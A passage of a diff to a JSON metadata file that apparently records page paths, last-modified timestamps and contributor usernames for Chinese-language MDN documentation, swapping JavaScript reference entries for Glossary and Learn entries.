"2020-06-09T04:50:28.922Z", "contributors": [ - "xyzingh", - "knightyun", - "Kylin.this" + "lmx-Hexagram", + "Isildur46" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/slice": { - "modified": "2020-10-15T21:59:28.967Z", + "Glossary/Proxy_server": { + "modified": "2019-03-18T21:22:15.777Z", "contributors": [ - "luojia", - "lvyue" + "lcw0622" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/some": { - "modified": "2020-10-15T22:06:36.897Z", + "Glossary/Graceful_degradation": { + "modified": "2020-02-12T11:01:35.540Z", "contributors": [ - "rockSandy" + "RainSlide", + "biqing" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/sort": { - "modified": "2019-03-23T22:19:06.667Z", + "Glossary/Pseudo-class": { + "modified": "2020-09-25T11:55:47.602Z", "contributors": [ - "wizardforcel" + "Ninglo" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/subarray": { - "modified": "2020-10-15T22:06:55.665Z", + "Glossary/Element": { + "modified": "2020-08-10T23:10:02.620Z", "contributors": [ - "pea3nut" + "IdEvEbI", + "244462375", + "RainSlide", + "dsdog1997", + "HDUCC", + "jianbinfu", + "pluwen" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/toLocaleString": { - "modified": "2020-10-15T22:07:03.779Z", + "Glossary/Card_sorting": { + "modified": "2019-11-09T07:01:56.698Z", "contributors": [ - "taoyouh" + "Xugen-Ma" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/toString": { - "modified": "2019-03-23T22:20:22.038Z", + "Glossary/ARPA": { + "modified": "2019-03-18T20:31:46.228Z", "contributors": [ - "kameii" + "huanghe2015" ] }, - "Web/JavaScript/Reference/Global_Objects/TypedArray/values": { - "modified": "2019-03-23T22:19:17.373Z", + "Glossary/Domain_name": { + "modified": "2019-03-23T22:04:34.305Z", "contributors": [ - "wizardforcel" + "micblo" ] }, - "Web/JavaScript/Reference/Global_Objects/URIError": { - "modified": "2020-10-15T21:58:35.369Z", + "Glossary/baseline": { + "modified": "2020-05-10T09:55:14.332Z", "contributors": [ - "Mal_akh", - "Tao-Quixote", - "HCH.no1" + "Isildur46" ] }, - "Web/JavaScript/Reference/Global_Objects/URIError/prototype": { - "modified": "2020-10-15T22:03:36.123Z", + "Glossary/character_encoding": { + "modified": "2020-02-12T10:38:11.288Z", "contributors": [ - "Tao-Quixote" + "RainSlide", + "fish-inu" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint16Array": { - "modified": "2020-10-15T22:30:29.389Z", + "Glossary/Idempotent": { + "modified": "2020-06-05T03:53:12.558Z", "contributors": [ - "elfpower" + "bytetown", + "zhangchen", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint32Array": { - "modified": "2020-10-15T21:30:53.115Z", + "Glossary/Asynchronous": { + "modified": "2020-10-16T00:10:28.593Z", "contributors": [ - "Dorence", - "icepro", - "liyongleihf2006", - "chyee" + "Neo42", + "fish-inu" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint8Array": { - "modified": "2020-10-15T21:36:50.602Z", + "Glossary/Abstraction": { + "modified": "2020-01-16T01:08:30.168Z", "contributors": [ - "Maiko", - "wizardforcel", - "WhiteMind", - "Meteormatt", - "linus_ding" + "Kuichen" ] }, - "Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray": { - "modified": "2020-08-30T01:01:24.154Z", + "Glossary/Digital_certificate": { + "modified": "2019-03-23T22:26:11.405Z", "contributors": [ - "vent", - "xhlsrj" + "Atester" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap": { - "modified": "2020-10-15T21:06:55.119Z", + "Glossary/Database": { + "modified": "2020-11-25T09:15:57.640Z", "contributors": [ - "Venus14", - "wallena3", - "Ende93", - "WangLeto", - "BingerWeb", - "lizheming", - "hhxxhg", - "xgqfrms-GitHub", - "kameii", - "lvjs", - "Cattla", - "teoli", - "ziyunfei" + "ZH-S" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/clear": { - "modified": "2019-03-23T22:23:38.007Z", + "Glossary/Sloppy_mode": { + "modified": "2019-03-18T21:11:47.868Z", "contributors": [ - "teoli", - "xgqfrms-GitHub", - "xx1124961758", - "xdsnet" + "serverLua", + "CapDuan" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/delete": { - "modified": "2019-03-23T23:13:54.509Z", + "Glossary/Browser": { + "modified": "2019-03-23T22:12:12.389Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "micblo", + "lavenderming" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/get": { - "modified": "2019-03-23T22:30:00.497Z", + "Glossary/Progressive_Enhancement": { + "modified": "2019-03-18T20:54:47.653Z", "contributors": [ - "Hushabyme", - "Cattla", - "legend80s" + "biqing" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/has": { - "modified": "2019-03-23T22:23:27.973Z", + "Glossary/Origin": { + "modified": "2019-03-23T22:21:16.972Z", "contributors": [ - "xdsnet" + "xgqfrms-GitHub" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/prototype": { - "modified": "2019-03-23T22:23:35.449Z", + "Glossary/Forbidden_header_name": { + "modified": "2019-03-18T20:55:25.213Z", "contributors": [ - "hhxxhg", - "xdsnet" + "Opportunity", + "yuankunzhang", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakMap/set": { - "modified": "2020-10-15T21:50:40.762Z", + "Glossary/Empty_element": { + "modified": "2020-05-27T05:46:24.967Z", "contributors": [ - "Ende93", - "xdsnet" + "changjingli", + "Ende93" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakRef": { - "modified": "2020-11-04T03:38:15.371Z", + "Glossary/IIFE": { + "modified": "2019-10-10T13:29:59.923Z", "contributors": [ - "moniang", - "DIFFICULTTOGIVE" + "SAM.L", + "RainSlide", + "zhangchen", + "CapDuan", + "baooab", + "xgqfrms-GitHub", + "zachary05" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakRef/deref": { - "modified": "2020-11-04T03:35:50.870Z", + "Glossary/time_to_first_byte": { + "modified": "2020-08-17T07:40:42.498Z", "contributors": [ - "moniang" + "Facefall" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet": { - "modified": "2020-10-15T21:26:50.454Z", + "Glossary/Simple_header": { + "modified": "2019-03-18T21:33:57.550Z", "contributors": [ - "wallena3", - "earlymeme", - "xgqfrms-GitHub", - "Go7hic", - "teoli", - "ziyunfei" + "huangll" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/add": { - "modified": "2019-03-23T22:20:53.399Z", + "Glossary/Algorithm": { + "modified": "2019-12-09T04:39:20.829Z", "contributors": [ - "marsgt", - "Hushabyme" + "ran", + "huanghe2015" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/clear": { - "modified": "2019-03-23T22:18:46.466Z", + "Glossary/Type_Conversion": { + "modified": "2019-06-24T05:38:16.865Z", "contributors": [ - "teoli", - "Ende93" + "RainSlide", + "danielnanuk" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/delete": { - "modified": "2020-03-17T12:14:42.437Z", + "Glossary/Compile": { + "modified": "2019-03-18T21:35:31.612Z", "contributors": [ - "zhenzhenChange", - "Hushabyme" + "ethanzway" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/has": { - "modified": "2019-03-23T22:21:07.252Z", + "Glossary/Compile_time": { + "modified": "2019-03-18T21:35:17.139Z", "contributors": [ - "Hushabyme" + "ethanzway" ] }, - "Web/JavaScript/Reference/Global_Objects/WeakSet/prototype": { - "modified": "2019-10-09T00:35:58.794Z", + "Glossary/Semantics": { + "modified": "2020-02-12T10:16:15.832Z", "contributors": [ - "sky-gg", - "SphinxKnight", - "teoli", - "ziyunfei" + "RainSlide", + "秋色楓", + "acejerry", + "DaMber" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly": { - "modified": "2020-10-15T21:53:08.592Z", + "Glossary/Request_header": { + "modified": "2020-02-12T10:12:37.548Z", "contributors": [ - "wallena3", - "Chesn", - "Gaohaoyang", - "zhangchen", - "chyingp", - "JianrongYu" + "RainSlide", + "c1er", + "huangll" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError": { - "modified": "2020-10-15T22:26:35.137Z", + "Glossary/General_header": { + "modified": "2020-02-12T09:58:36.039Z", "contributors": [ - "wallena3" + "RainSlide", + "WayneCui" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Global": { - "modified": "2020-11-13T02:45:14.451Z", + "Glossary/OOP": { + "modified": "2019-03-23T22:19:08.166Z", "contributors": [ - "yujiaao", - "yxwsbobo" + "zhangchen", + "fan19900404" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance": { - "modified": "2020-10-23T07:01:43.345Z", + "Learn/Accessibility/CSS_and_JavaScript": { + "modified": "2020-11-03T05:18:13.954Z", "contributors": [ - "liguorain", - "yxwsbobo", - "SphinxKnight" + "No.5972", + "yawei", + "grape", + "wangfangping", + "wsj0124", + "cani1see", + "hmfight" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory": { - "modified": "2020-10-15T22:06:20.710Z", + "Learn/Accessibility/HTML": { + "modified": "2020-07-16T22:40:15.418Z", "contributors": [ - "Zhang-Junzhi", - "sunwanxin213" + "grape", + "kuldahar", + "ChuckZhang", + "zxsunrise", + "xiwusheng", + "zouyang1230", + "Junx" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Module": { - "modified": "2020-10-15T22:00:19.792Z", + "Learn/Accessibility/Multimedia": { + "modified": "2020-07-16T22:40:28.501Z", "contributors": [ - "dondevi" + "wangfangping", + "xiwusheng" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError": { - "modified": "2020-10-15T22:26:27.221Z", + "Learn/Common_questions/Available_text_editors": { + "modified": "2020-07-16T22:35:49.753Z", "contributors": [ - "wallena3" + "A-rise" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/Table": { - "modified": "2020-11-04T03:44:08.051Z", + "Learn/CSS/Building_blocks/Handling_different_text_directions": { + "modified": "2020-07-16T22:29:14.755Z", "contributors": [ - "moniang", - "hurrytospring" + "ChongyouXu", + "lucida959595", + "Young-Spark", + "ZouYj", + "dlnb526", + "SirnoChan", + "sliop", + "Orzst", + "kuhnpku" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/compile": { - "modified": "2020-10-15T21:58:44.128Z", + "Learn/CSS/CSS_layout/Legacy_Layout_Methods": { + "modified": "2020-07-16T22:27:16.084Z", "contributors": [ - "kungfucode-rex" + "SirnoChan", + "Hermedius", + "zxxzzzzz", + "agnoCJY" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": { - "modified": "2020-10-15T22:15:30.451Z", + "Learn/CSS/CSS_layout/Positioning": { + "modified": "2020-12-01T00:39:03.074Z", "contributors": [ - "Cyandev" + "zisedelinghun", + "driftingdream", + "laizenan", + "parabolazz", + "LuoYun", + "TaoXuSheng", + "codeofjackie", + "fourml", + "summercn", + "allan_simon", + "yuyx91", + "lihaoyuan", + "xp44mm", + "yydzxz", + "ddtyjmyjm", + "Froggy", + "uestcNaldo", + "Eric.Wu", + "echoArray", + "xgqfrms-GitHub", + "Ende93", + "depressedX", + "siufooncheung", + "1986slayer" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate": { - "modified": "2020-10-15T21:57:59.458Z", + "Learn/CSS/First_steps/How_CSS_works": { + "modified": "2020-07-16T22:28:02.363Z", "contributors": [ - "wallena3", - "Hedgehog", - "airt", - "kungfucode-rex" + "ChongyouXu", + "shizigood", + "dlnb526", + "SirnoChan", + "pacexy", + "kuhnpku", + "FrankYuanhao", + "0x79b9", + "SphinxKnight", + "xcxAscar" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming": { - "modified": "2020-10-15T22:11:30.410Z", + "Learn/CSS/First_steps/Getting_started": { + "modified": "2020-07-16T22:27:52.665Z", "contributors": [ - "Xiaoming666" + "dlnb526", + "SirnoChan", + "byeyear", + "HHao", + "zyzxrj", + "fondxy", + "Amano-Aki", + "RUAN-ZX" ] }, - "Web/JavaScript/Reference/Global_Objects/WebAssembly/validate": { - "modified": "2020-10-15T22:15:29.365Z", + "Learn/CSS/Building_blocks/Fundamental_CSS_comprehension": { + "modified": "2020-10-09T04:34:43.547Z", "contributors": [ - "Cyandev" + "benniks", + "blateyang", + "grape", + "LeoB-O", + "codeofjackie", + "allan_simon", + "phiwyc", + "yydzxz", + "ddtyjmyjm", + "nbhaohao" ] }, - "Web/JavaScript/Reference/Global_Objects/decodeURI": { - "modified": "2020-10-15T21:22:04.033Z", + "Learn/CSS/Building_blocks/A_cool_looking_box": { + "modified": "2020-07-16T22:28:27.701Z", "contributors": [ - "Mookiepiece", - "IreneByron", - "laampui", - "xgqfrms-GitHub", - "PoppinL", - "teoli", - "ziyunfei" + "grape", + "Lohoyo", + "lihaoyuan" ] }, - "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": { - "modified": "2020-03-12T19:39:38.099Z", + "Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper": { + "modified": "2020-07-16T22:28:25.559Z", "contributors": [ - "c1er", - "laampui", - "xgqfrms-GitHub", - "PoppinL", - "maicss", - "Ende93", - "SphinxKnight", - "AlexChao" + "codeofjackie", + "ziyunfei", + "Yee", + "lihaoyuan" ] }, - "Web/JavaScript/Reference/Global_Objects/encodeURI": { - "modified": "2020-03-12T19:39:40.462Z", + "Learn/CSS/Styling_text/Fundamentals": { + "modified": "2020-07-16T22:26:10.120Z", "contributors": [ - "xgqfrms-GitHub", - "HelloFun", - "PoppinL", - "leedorian", - "baiya", - "FredWe", - "SphinxKnight", - "AlexChao" + "AlephAlpha", + "Otaku-Glasses", + "grape", + "xiaoman", + "byeyear", + "Sinclair-Yuan", + "ssttii", + "tiange321", + "sixDregs", + "zhuzhangliang", + "liy010", + "codeofjackie", + "1862", + "maoyumaoxun", + "allan_simon", + "comehope", + "xp44mm", + "sputnikW", + "yydzxz", + "Froggy", + "nbhaohao" ] }, - "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": { - "modified": "2020-10-15T21:29:33.137Z", + "Learn/CSS/Styling_text": { + "modified": "2020-07-16T22:26:01.367Z", "contributors": [ - "zhangchen", - "oscarwang913", - "inlym", - "maiff", - "HelloFun", - "PoppinL", - "Roland_Reed", - "fortime", - "SphinxKnight", - "AlexChao" + "kohai", + "LJJ1996", + "allan_simon", + "zhuangyin", + "zhang-kai", + "ZhongyiChen" ] }, - "Web/JavaScript/Reference/Global_Objects/escape": { - "modified": "2020-03-12T19:40:29.669Z", + "Learn/CSS/Styling_text/Styling_links": { + "modified": "2020-07-16T22:26:21.533Z", "contributors": [ - "1renhaO", - "yenshen" + "so2liu", + "SirnoChan", + "Map1en_", + "LeoB-O", + "dchaofei", + "codeofjackie", + "Fungzhe", + "allan_simon", + "xp44mm", + "sputnikW", + "nbhaohao" ] }, - "Web/JavaScript/Reference/Global_Objects/eval": { - "modified": "2020-10-15T21:15:16.670Z", + "Learn/CSS/Styling_text/Styling_lists": { + "modified": "2020-07-16T22:26:15.817Z", "contributors": [ - "amzrk2", - "mrzhouxu", - "chrislung", - "laampui", - "yasen-wolf", - "RainSlide", - "jinhuiWong", - "Akiq2016", - "extending", - "icepro", - "eeeeeeeason", - "JX-Zhuang", - "yanpengxiang", - "SiberianMark", - "Jiang-Xuan", - "Hugh", - "Binly42", - "ziyunfei", - "fscholz", - "qianjiahao", - "teoli", - "huguowei", - "Mgjbot", - "Laser" + "rtxu", + "codeofjackie", + "allan_simon", + "xp44mm", + "Froggy", + "jingyiwang1209", + "Ende93", + "Barren", + "qw950027", + "dazyzsy" ] }, - "Web/JavaScript/Reference/Global_Objects/globalThis": { - "modified": "2020-10-15T22:10:51.438Z", + "Learn/CSS/Styling_text/Typesetting_a_homepage": { + "modified": "2020-07-16T22:26:27.995Z", "contributors": [ - "MinimalistYing", - "RainSlide", - "wallena3", - "kangkai0124", - "SphinxKnight", - "LEORChn", - "fscholz", - "Jack.Works" + "monkey-king", + "grape", + "Map1en_", + "codeofjackie", + "maplelinst" ] }, - "Web/JavaScript/Reference/Global_Objects/isFinite": { - "modified": "2020-10-15T21:24:26.397Z", + "Learn/CSS/Styling_text/Web_fonts": { + "modified": "2020-07-16T22:26:25.043Z", "contributors": [ - "rulanfenghua", - "littcc", - "Jiang-Xuan", - "golegen", - "SphinxKnight", - "AlexChao", - "teoli", - "zhangyaochun1987" + "AlephAlpha", + "LeoB-O", + "zenghuiLee", + "admin1949", + "wheeljs", + "Froggy" ] }, - "Web/JavaScript/Reference/Global_Objects/isNaN": { - "modified": "2020-10-15T21:28:42.019Z", + "Learn/Common_questions/What_are_browser_developer_tools": { + "modified": "2020-08-09T19:35:32.533Z", "contributors": [ - "Ende93", - "ubuntugx", - "bluetata", - "INCHMAN", - "xgqfrms-GitHub", - "mt001mt", - "Hugh", - "cekingLu", - "wanghaoran", - "Skyang", - "yenshen", - "yufeng", - "SphinxKnight", - "AlexChao" + "DarkStory", + "eelord", + "ziyouwa", + "Atractylodes", + "wth", + "ziyunfei", + "zhaoy875" ] }, - "Web/JavaScript/Reference/Global_Objects/null": { - "modified": "2020-10-15T21:21:19.908Z", + "Learn/Common_questions/How_does_the_Internet_work": { + "modified": "2020-07-16T22:35:39.172Z", "contributors": [ - "wallena3", - "RainSlide", - "GreedyPig", - "zxsunrise", - "zhuangyin", - "Jiang-Xuan", - "SphinxKnight", - "ziyunfei", - "AlexChao", - "teoli" + "simon.woo", + "grape", + "W-YaoLing", + "ZhuZhuDrinkMilk", + "TaskForce86", + "ShirleyM", + "yydzxz", + "Jeffrey_Yang", + "StarryForce", + "ArcherGrey", + "wth", + "boredivan", + "RyanZhang", + "TanJrJie" ] }, - "Web/JavaScript/Reference/Global_Objects/parseFloat": { - "modified": "2020-10-15T21:21:34.049Z", + "orphaned/Learn/How_to_contribute": { + "modified": "2020-07-16T22:33:47.665Z", "contributors": [ - "laampui", - "rulanfenghua", - "maoyumaoxun", - "ywjco", - "xgqfrms-GitHub", - "huguangju", - "xuzhijun", - "yenshen", - "teoli", - "ziyunfei" + "SphinxKnight", + "Simcookies", + "Forbidden", + "WavinFlag" ] }, - "Web/JavaScript/Reference/Global_Objects/parseInt": { - "modified": "2020-12-04T02:14:06.997Z", + "orphaned/Learn/HTML/Forms_and_buttons": { + "modified": "2020-02-28T22:25:38.433Z", "contributors": [ - "熊英明", - "liuy666", - "zhuguibiao", - "SAYHISAYHI", - "jjc", - "frankfang1990", - "pantao", - "liuzhengdong", - "lmislm", - "Roland_Reed", - "Eurkidu", - "Mars687", - "cyancity", - "BrightLD", - "hua03", - "ywjco", - "lcxmaple", - "weicaiyue", - "righttoe", - "xgqfrms-GitHub", - "xiaohangJose", - "PengyuanJiang", - "xuzhijun", - "du0m0", - "XingxianLI", - "teoli", - "AlexChao", - "Mickeyboy" + "Dev-Liangjian" ] }, - "Web/JavaScript/Reference/Global_Objects/undefined": { - "modified": "2020-10-15T21:21:19.165Z", + "Learn/Forms/Advanced_form_styling": { + "modified": "2020-07-16T22:21:36.744Z", "contributors": [ - "wallena3", - "lizhongzhen11", - "ywjco", - "fzhw88", - "zhuangyin", - "WJ941", - "ervinewell", - "kameii", - "Jiang-Xuan", - "teoli", - "ziyunfei" + "rtxu", + "Daniel313", + "codeofjackie", + "yydzxz", + "tzigang" ] }, - "Web/JavaScript/Reference/Global_Objects/unescape": { - "modified": "2020-12-10T01:27:00.332Z", + "Learn/Forms/Form_validation": { + "modified": "2020-07-16T22:21:53.600Z", "contributors": [ - "stefango", - "zhangchen", - "ZivHe", - "Jiang-Xuan", - "Ende93" + "dlnb526", + "wavedanger", + "WoodCube", + "PYGC", + "liudadadayu", + "Amano_Sei", + "kazimics", + "codeofjackie", + "tinyhare", + "lihaoyuan", + "dondevi", + "littledust", + "crper", + "yydzxz", + "pantao", + "Froggy", + "xianshenglu", + "songbinghui", + "monsterooo", + "liu-xiao-cui", + "jileieli" ] }, - "Web/JavaScript/Reference/Global_Objects/uneval": { - "modified": "2020-10-15T21:40:49.845Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_1": { + "modified": "2020-07-16T22:21:59.182Z", "contributors": [ - "zhangchen", - "imnodb", - "codert", - "Vincent.Yu" + "Qos", + "549074491", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Iteration_protocols": { - "modified": "2020-11-16T00:41:30.233Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_2": { + "modified": "2020-07-16T22:21:59.542Z", "contributors": [ - "wubaodong", - "Mr_kaze", - "Clarkkkk", - "DengZhihao", - "RainSlide", - "wangxiujuni", - "houzp", - "edward12699", - "luohe", - "Shigma", - "yueshuiniao", - "isLishude", - "xgqfrms-GitHub", - "kdex", - "bnerDY", - "xgqfrms", - "m31271n.", - "jiraiya", - "harttle", - "holajiawei", - "zbinlin", - "panhezeng", - "Qcui", - "Ende93", - "ziyunfei", - "teoli" + "shc0743", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Lexical_grammar": { - "modified": "2020-10-15T21:37:37.250Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_3": { + "modified": "2020-07-16T22:21:59.861Z", "contributors": [ - "wwj402", - "RainSlide", - "jiangxin123", - "mistoken", - "DrndwX", - "VdoG", - "eforegist", - "Hitomichan", - "jiahui", - "lunix01" + "shc0743", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Operators": { - "modified": "2020-11-11T01:18:14.844Z", + "Learn/Forms/How_to_build_custom_form_controls/Example_4": { + "modified": "2020-07-16T22:22:00.186Z", "contributors": [ - "Liugq5713", - "Ende93", - "ourai", - "zhangchen", - "zxsunrise", - "ZTFtrue", - "yangzx", - "xgqfrms-GitHub", - "imhaohao", - "Meteormatt", - "tim.liu", - "lunix01", - "Go7hic", - "yenshen", - "ziyunfei", - "teoli" + "shc0743", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Operators/Addition_assignment": { - "modified": "2020-10-15T22:32:22.325Z", + "Learn/Forms/How_to_build_custom_form_controls": { + "modified": "2020-07-16T22:21:58.787Z", "contributors": [ - "xgqfrms" + "WoodCube", + "rtxu", + "feixiang5754", + "lonelywhisper", + "yasminyt", + "honey6", + "codeofjackie", + "tinyhare", + "yochii", + "uselessaddress", + "crper", + "yydzxz", + "zqyue", + "darkeggler", + "Froggy", + "chrisdavidmills", + "Sheppy", + "ziyunfei", + "helloguangxue" ] }, - "Web/JavaScript/Reference/Operators/Arithmetic_Operators": { - "modified": "2020-10-15T21:31:37.464Z", + "Learn/Forms/How_to_structure_a_web_form": { + "modified": "2020-07-16T22:21:16.348Z", "contributors": [ - "srq18211", - "RainSlide", - "lmislm", - "Braveheartforyou", - "zhangchen", - "xixigeek", - "XHMM", - "ZhengAu", - "aimiy", - "xhlwill", - "xgqfrms-GitHub", - "yayayhoo", - "xiaofengling", - "git123hub", - "AnnAngela", - "tiansh", - "AlexChao" + "lucida959595", + "imba-tjd", + "naivexcited", + "WoodCube", + "Zhang-YanQi", + "liy010", + "web-xx", + "codeofjackie", + "lihaoyuan", + "yawei", + "zqyue", + "StarryForce", + "Froggy" ] }, - "Web/JavaScript/Reference/Operators/Assignment": { - "modified": "2020-10-15T22:32:28.366Z", + "Learn/Forms/HTML_forms_in_legacy_browsers": { + "modified": "2020-07-16T22:22:04.178Z", "contributors": [ - "longfangsong", - "hellorayza", - "yemao", - "Linuocc" + "haoye999", + "lovedebug", + "jaiJia", + "littledust" ] }, - "Web/JavaScript/Reference/Operators/Assignment_Operators": { - "modified": "2020-10-15T21:29:35.850Z", + "Learn/Forms": { + "modified": "2020-07-16T22:21:02.678Z", "contributors": [ - "AchooLuv", - "wbamberg", - "cuixiping", - "adoreCherish", - "yofine", - "AlexChao", - "SphinxKnight" + "615lyw", + "Lohoyo", + "lihaoyuan", + "yydzxz", + "StarryForce", + "Froggy", + "chrisdavidmills", + "ziyunfei", + "JulieLee77", + "teoli", + "Jeremie" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_AND_assignment": { - "modified": "2020-10-15T22:34:19.309Z", + "Learn/Forms/Property_compatibility_table_for_form_controls": { + "modified": "2020-07-16T22:21:44.843Z", "contributors": [ - "Eric_lc", - "laampui" + "codeofjackie", + "lovedebug" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_NOT": { - "modified": "2020-10-15T22:34:23.865Z", + "Learn/Forms/Sending_and_retrieving_form_data": { + "modified": "2020-07-16T22:21:29.690Z", "contributors": [ - "Eric_lc", - "laampui" + "rtxu", + "WoodCube", + "aliang2017", + "codeofjackie", + "yydzxz", + "Froggy", + "KngZhi", + "chrisdavidmills", + "juzhiyuan" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_OR": { - "modified": "2020-10-15T22:34:22.155Z", + "Learn/Forms/Sending_forms_through_JavaScript": { + "modified": "2020-07-16T22:22:02.523Z", "contributors": [ - "laampui" + "RainSlide", + "WoodCube", + "xing2000", + "Bayes", + "codeofjackie", + "littledust", + "yydzxz", + "Chenng", + "chrisdavidmills", + "ziyunfei", + "sanxingming", + "helloguangxue", + "teoli" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_OR_assignment": { - "modified": "2020-10-15T22:34:21.154Z", + "Learn/Forms/Styling_web_forms": { + "modified": "2020-07-16T22:21:32.838Z", "contributors": [ - "laampui" + "jiaodk", + "rtxu", + "coder-git", + "33YANG", + "Daniel313", + "codeofjackie", + "lovedebug", + "yydzxz", + "lucoo01" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_Operators": { - "modified": "2020-03-12T19:40:23.030Z", + "Learn/Forms/Basic_native_form_controls": { + "modified": "2020-09-17T23:41:07.186Z", "contributors": [ - "xmasuhai", - "GreedyPig", - "parabolazz", - "ywjco", - "xgqfrms-GitHub", - "clcy1243", - "tiansh", - "AlexChao" + "aaazz47", + "853419196", + "WoodCube", + "wsyconan", + "Drizzt-Yu", + "Kavelaa", + "coldicecn", + "Danielxiey", + "codeofjackie", + "Lohoyo", + "lihaoyuan", + "xp44mm", + "uselessaddress", + "littledust", + "yydzxz", + "ddtyjmyjm", + "StarryForce", + "Froggy" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_XOR": { - "modified": "2020-10-15T22:34:22.385Z", + "Learn/Forms/Your_first_form": { + "modified": "2020-08-16T03:03:38.716Z", "contributors": [ - "laampui" + "NicholasZhan", + "WoodCube", + "ChairMao", + "haoye999", + "coldicecn", + "xiangluoming", + "hddhyq", + "Lohoyo", + "maoyumaoxun", + "lyncodes", + "allan_simon", + "lihaoyuan", + "superkuang", + "ddtyjmyjm", + "StarryForce", + "Froggy", + "chrisdavidmills", + "ziyunfei", + "sanxingming" ] }, - "Web/JavaScript/Reference/Operators/Bitwise_XOR_assignment": { - "modified": "2020-10-15T22:34:23.846Z", + "Learn/HTML/Introduction_to_HTML/Document_and_website_structure": { + "modified": "2020-09-22T12:28:50.229Z", "contributors": [ - "laampui" + "Roy-Tian", + "aaazz47", + "chenduone", + "MorrisLi", + "SirnoChan", + "wangfangping", + "FantasqueX", + "imba-tjd", + "HolaForce", + "HeYuansong", + "web-xx", + "codeofjackie", + "chaosdog", + "phiwyc", + "eelord", + "lihaoyuan", + "zhaoqize", + "nbhaohao", + "dirringx", + "HashubWang", + "skylakecore", + "BarryLiu1995", + "luwudang", + "JX-Master", + "danlanxiaohei", + "c0ldian" ] }, - "Web/JavaScript/Reference/Operators/Comma_Operator": { - "modified": "2020-10-15T21:32:06.908Z", + "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies": { + "modified": "2020-09-22T04:49:55.434Z", "contributors": [ - "zhangchen", - "xgqfrms-GitHub", - "ontheway1215", - "AlexChao" + "NellPoi", + "yangko", + "pacexy", + "monkey-king", + "WoodCube", + "Roy-Tian", + "ChairMao", + "ZhangDaZongWei", + "Danielxiey", + "615lyw", + "CaTmmao", + "Lohoyo", + "RevolverOcelotA", + "lihaoyuan", + "superkuang", + "yydzxz", + "ddtyjmyjm", + "Eric.Wu" ] }, - "Web/JavaScript/Reference/Operators/Comparison_Operators": { - "modified": "2020-03-12T19:41:27.611Z", + "Learn/JavaScript/Building_blocks/Image_gallery": { + "modified": "2020-07-16T22:31:44.958Z", "contributors": [ - "ch4zzzzz", - "ubuntugx", - "GreedyPig", - "gongzhibin", - "choukin", - "blue0125", - "Ende93", - "beiweiqiang", - "qianjiahao" + "lucida959595", + "Roy-Tian", + "LittleMang", + "Park-ma", + "codeofjackie", + "lihaoyuan", + "yeslogin2", + "Zeng" ] }, - "Web/JavaScript/Reference/Operators/Conditional_Operator": { - "modified": "2020-10-15T21:37:34.292Z", + "Learn/JavaScript/Objects/Adding_bouncing_balls_features": { + "modified": "2020-07-16T22:32:36.563Z", "contributors": [ - "wendy260310", - "dadan", - "KnightYin", - "pluwen", - "zhangchen", - "ziyunfei", - "Ende93", - "lunix01" + "Wenke-D", + "Roy-Tian", + "gofly1988", + "lihaoyuan", + "bluekeroro" ] }, - "Web/JavaScript/Reference/Operators/Destructuring_assignment": { - "modified": "2020-10-15T21:34:33.159Z", + "Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript": { + "modified": "2020-08-05T11:02:17.810Z", "contributors": [ - "fanerge", - "kidonng", - "Aaron-Bird", - "zhuziyi", - "ZeroWhiteSmile", - "RainSlide", - "zhangchen", - "tosmaller", - "a-pple", - "FideoJ", - "xgqfrms-GitHub", - "XHMM", - "kdex", - "Jiasm", - "jerryni", - "LeoEatle", - "donyaw", - "starriv", - 